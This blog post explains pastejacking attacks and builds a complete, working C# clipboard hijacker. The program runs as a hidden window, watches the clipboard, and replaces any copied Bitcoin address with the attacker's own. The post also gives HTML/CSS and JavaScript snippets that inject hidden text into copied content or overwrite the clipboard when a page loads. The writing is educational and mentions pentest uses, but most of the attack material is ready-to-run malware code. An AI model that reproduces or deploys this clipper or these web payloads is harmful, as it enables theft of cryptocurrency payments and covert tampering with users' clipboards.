Blog You sure you want to copy that?
Post
Cancel

You sure you want to copy that?

Intro

Pastejacking attacks are not a new concept in maldev, but still an extremely effective method that are making threat actors a dime. Essentially, a user copies a string from a seemingly trusted source (ex. a website or saved file) and pastes it into an application. Pastejacking is a technique that allows an attacker to modify the data either when “copying” or “pasting”. This has been used for years, most notably in malware that swaps out cryptocurrency addresses. If not paying attention, it’s likely thant someone won’t notice mzu6MbHh2iFdxDdQ5xA5XymvNvkE7kVLiY getting swapped out for mnWtxQXeckB7w4TvvFuGeWCHuDZi1uqvex when sending a crypto payment. To make this attack even worse, all websites you visit have been quietly able to write to your clipboard without your knowledge since ~August 2, 2022 (Chrome v104).


Just by visiting this page, your clipboard has been modified (if browsing from a desktop). Try to paste into the form below:

Update 11/3/2022: The above example of writing to the clipboard without interaction was patched by Chrome. A gesture (ex: clicking a button) is now needed. This still works if a user has blocked a site from accessing the clipboard.


With pastejacking, we can spit the attack into two specific categories: web and host based vectors.


Host Based Attacks

With host based pastejacking, malware is generally focused on hijacking sensitives strings such as crypto addresses. The malicious process will often sit, wait and listen. Each time a string is copied to the user’s clipboard, it will get compared to a set data pattern. Once conditions are met, a copied string is replaced with anything such as a cryptocurrency address. Masad Clipper is a famous example of malware that performs this type of attack. One sample analyzed (at the time) had received over $38,000 dollars through 455 BTC transactions by pastejacking.


SharpClipboard

Let’s take a look at what’s going on under the hood with pastejacking malware. We can use the code from slyd0g’s SharpClipboard as a starting point.

Since we are using C#, PInvoke is used to make the Win32 API calls:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

//https://stackoverflow.com/questions/621577/clipboard-event-c-sharp
//https://stackoverflow.com/questions/17762037/error-while-trying-to-copy-string-to-clipboard
//https://gist.github.com/glombard/7986317

internal static class NativeMethods
{
    //Reference https://docs.microsoft.com/en-us/windows/desktop/dataxchg/wm-clipboardupdate
    public const int WM_CLIPBOARDUPDATE = 0x031D;
    //Reference https://www.pinvoke.net/default.aspx/Constants.HWND
    public static IntPtr HWND_MESSAGE = new IntPtr(-3);

    //Reference https://www.pinvoke.net/default.aspx/user32/AddClipboardFormatListener.html
    [DllImport("user32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool AddClipboardFormatListener(IntPtr hwnd);

    //Reference https://www.pinvoke.net/default.aspx/user32.setparent
    [DllImport("user32.dll", SetLastError = true)]
    public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);

    //Reference https://www.pinvoke.net/default.aspx/user32/getwindowtext.html
    [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);

    //Reference https://www.pinvoke.net/default.aspx/user32.getwindowtextlength
    [DllImport("user32.dll")]
    public static extern int GetWindowTextLength(IntPtr hWnd);

    //Reference https://www.pinvoke.net/default.aspx/user32.getforegroundwindow
    [DllImport("user32.dll")]
    public static extern IntPtr GetForegroundWindow();
}

public static class Clipboard
{
    public static string GetText()
    {
        string ReturnValue = string.Empty;
        Thread STAThread = new Thread(
            delegate ()
            {
                // Use a fully qualified name for Clipboard otherwise it
                // will end up calling itself.
                ReturnValue = System.Windows.Forms.Clipboard.GetText();
            });
        STAThread.SetApartmentState(ApartmentState.STA);
        STAThread.Start();
        STAThread.Join();

        return ReturnValue;
    }
}

public sealed class ClipboardNotification
{
    private class NotificationForm : Form
    {
        public NotificationForm()
        {
            //Turn the child window into a message-only window (refer to Microsoft docs)
            NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
            //Place window in the system-maintained clipboard format listener list
            NativeMethods.AddClipboardFormatListener(Handle);
        }

        protected override void WndProc(ref Message m)
        {
            //Listen for operating system messages
            if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
            {
                //Get the date and time for the current moment expressed as coordinated universal time (UTC).
                DateTime saveUtcNow = DateTime.UtcNow;
                Console.WriteLine("Copy event detected at {0} (UTC)!", saveUtcNow);

                //Write to stdout active window
                IntPtr active_window = NativeMethods.GetForegroundWindow();
                int length = NativeMethods.GetWindowTextLength(active_window);
                StringBuilder sb = new StringBuilder(length + 1);
                NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
                Console.WriteLine("Clipboard Active Window: " + sb.ToString());

                //Write to stdout clipboard contents
                Console.WriteLine("Clipboard Content: " + Clipboard.GetText());
            }
            //Called for any unhandled messages
            base.WndProc(ref m);
        }
    }

    private static void Main(string[] args)
    {
        //starts a message loop on current thread and displays specified form
        Application.Run(new NotificationForm());
    }
}


Compiling and running the above gets us a clipboard listener that will print out the active window and clipboard contents: GIF of SharpClipboard

Building a Hijacker

Using slydog’s code, lets make some modifications to allow for swapping out clipboard data if a certain condition is met.


First we will need to create a SetText() function below GetText() to allow updating the clipboard contents:

1
2
3
4
5
6
7
8
9
10
11
    public static void SetText(string text)
    {
        Thread STAThread = new Thread(
            delegate ()
            {
                System.Windows.Forms.Clipboard.SetText(text);
            });
        STAThread.SetApartmentState(ApartmentState.STA);
        STAThread.Start();
        STAThread.Join();
    }


Moving on to the WndProc() method, we can remove the output to the window and call our created SetText(). Using regex, a valid BTC address can be determined through ^([13]|bc1)[A-HJ-NP-Za-km-z1-9]{27,34}. Last, we’ll read text from GetText() and swap out our string if we find a match:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  protected override void WndProc(ref Message m)
        {
            String myAdr = "~My BTC Address~";
            //Listen for operating system messages
            if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
            {
                string curClip = null;
                curClip = Clipboard.GetText();

                String btcpatern = @"^([13]|bc1)[A-HJ-NP-Za-km-z1-9]{27,34}";

                if (Regex.IsMatch(curClip,btcpatern,RegexOptions.IgnoreCase))
                {
                    Clipboard.SetText(myAdr);
                }
            }
            //Called for any unhandled messages
            base.WndProc(ref m);
        }


After we remove unused PInvoke references, we are left with the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Text.RegularExpressions;


internal static class NativeMethods
{
//Reference https://docs.microsoft.com/en-us/windows/desktop/dataxchg/wm-clipboardupdate
public const int WM_CLIPBOARDUPDATE = 0x031D;
//Reference https://www.pinvoke.net/default.aspx/Constants.HWND
public static IntPtr HWND_MESSAGE = new IntPtr(-3);

    //Reference https://www.pinvoke.net/default.aspx/user32/AddClipboardFormatListener.html
    [DllImport("user32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool AddClipboardFormatListener(IntPtr hwnd);

    //Reference https://www.pinvoke.net/default.aspx/user32.setparent
    [DllImport("user32.dll", SetLastError = true)]
    public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
}

public static class Clipboard
{
    public static string GetText()
    {
        string ReturnValue = string.Empty;
        Thread STAThread = new Thread(
            delegate ()
            {
                // Use a fully qualified name for Clipboard otherwise it
                // will end up calling itself.
                ReturnValue = System.Windows.Forms.Clipboard.GetText();
            });
        STAThread.SetApartmentState(ApartmentState.STA);
        STAThread.Start();
        STAThread.Join();

        return ReturnValue;
    }

    public static void SetText(string text)
    {
        Thread STAThread = new Thread(
            delegate ()
            {
                System.Windows.Forms.Clipboard.SetText(text);
            });
        STAThread.SetApartmentState(ApartmentState.STA);
        STAThread.Start();
        STAThread.Join();
    }
}

public sealed class ClipboardNotification
{
private class NotificationForm : Form
{
        public NotificationForm()
        {
            //Turn the child window into a message-only window (refer to Microsoft docs)
            NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
            //Place window in the system-maintained clipboard format listener list
            NativeMethods.AddClipboardFormatListener(Handle);
            this.Hide();

        }
        protected override void WndProc(ref Message m)
        {
            String myAdr = "My BTC Address";
            //Listen for operating system messages
            if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
            {
                string curClip = null;
                curClip = Clipboard.GetText();

                String btcpatern = @"^([13]|bc1)[A-HJ-NP-Za-km-z1-9]{27,34}";

                if (Regex.IsMatch(curClip,btcpatern,RegexOptions.IgnoreCase))
                {
                    Clipboard.SetText(myAdr);
                }
            }
            //Called for any unhandled messages
            base.WndProc(ref m);
        }
    }
    private static void Main(string[] args)
    {
        //starts a message loop on current thread and displays specified form
        Application.Run(new NotificationForm());
    }
}

GIF of above code


Web Based Attacks

The second way that pastejacking attacks can occur are through web based vectors. There are two ways these attacks have occurred in the past.

CSS

Using CSS, we can achieve pastejacking by embedding a nested tag such as <span> within a parent <p> tag. We can then move the contents in the span tag out of view for a user and achieve a simple way to inject additional text to the clipboard:

1
2
3
4
5
6
7
<html>
    <body>
        <p style="background-color: darkblue">
            Hello&nbsp;<span style="position: absolute; left: -1000px; top: -1000px">(from a hidden span tag)&nbsp;</span>World.
        </p>
    </body>
</html>

The above code is implemented below. Try copying the following text and pasting it in the form:

Hello (from a hidden span tag) World.


This method can be effective if a user is blocking JavaScript (ex. TOR). Also, if you can achieve HTML injection but not XSS (something I often see on web-app pentests), this could be a way to demonstrate risk.


The power of JavaScript

JavaScript allows us to have more flexibility in how we can achieve pastejacking compared to the CSS method. Since Chrome v104, data can be written to user’s clipboards without asking for permission. This bug has yet to be patched and also applies to Safari and Firefox. Using the navigator.clipboard.write() API, we can overwrite the contents of the clipboard with no user interaction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
  <html lang="en">
    <head>
    <script type="application/javascript">
        function setClipboard(text) {
            const type = "text/plain";
            const blob = new Blob([text], { type });
            const data = [new ClipboardItem({ [type]: blob })];
            navigator.clipboard.write(data);
        }
        setClipboard("Hello from the web browser");
    </script>
  </head>
  <body>
    <p style="left: 50%; position: fixed" >Welcome to my page</p>
  </body>
</html>


Now any time a user visits our page, their clipboard will get replaced with our chosen string as demonstrated at the top of this post.

The above has been recently patched and now requires a gesture (see below).

Some browsers (ex. Safari on mobile) require a “gesture” to write to the clipboard. This gesture is simply an interaction with the page such as clicking a button. This is demonstrated below and will work on mobile browsers:




What about reading data from the clipboard? We can do that too using navigator.clipboard.readText(). This method isn’t suitable for an attack due to the user needing to grant the required permission, but could be possible through a bit of social engineering.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
  <head>
    <script type="application/javascript">
        function paste() {
            navigator.clipboard.readText().then(text => {
                alert(text);
            });
        }
    </script>
  </head>
  <body>
    <button onclick="paste();">Paste</button>
  </body>
</html>

Google permissions API


My first thought when seeing web-apps can arbitrarily write to the clipboard without user interaction was to write an unexpected MIME type. When researching, I tried a similar approach to HTML smuggling to achieve this. After testing with JS blobs, I was unable to write anything except MIME-types of text\*, but this could be a good avenue for future research.

Contents